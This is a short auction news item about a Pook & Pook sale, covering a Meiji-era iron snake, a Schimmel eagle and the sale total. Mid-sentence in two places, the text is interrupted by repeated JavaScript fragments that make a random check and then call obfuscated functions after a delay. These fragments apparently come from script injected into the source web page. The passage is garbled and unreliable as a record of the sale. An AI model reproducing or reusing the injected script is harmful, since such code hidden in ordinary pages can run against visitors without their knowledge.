DOWNINGTOWN, PENN. — A two-day sale at Pook & Pook on October 3–4 saw high bids for sculptural representations of the natural world. In the first session, a surge of last-minute bidding took a 62-inch-long articulated iron Meiji-era Japanese snake to $90,000, well above its $20/30,000 estimate.

The following day, a carved andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and painted eagle, 9 inches tall, by Pennsylvania folk artist Wilhelm Schimmel left the room at $72,000. Featuring property once in the collections of Ralph Esmerian, Titus Geesey andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Donald Shelley, among others, the 950-lot auction generated $1,932,457 with buyer’s premium.

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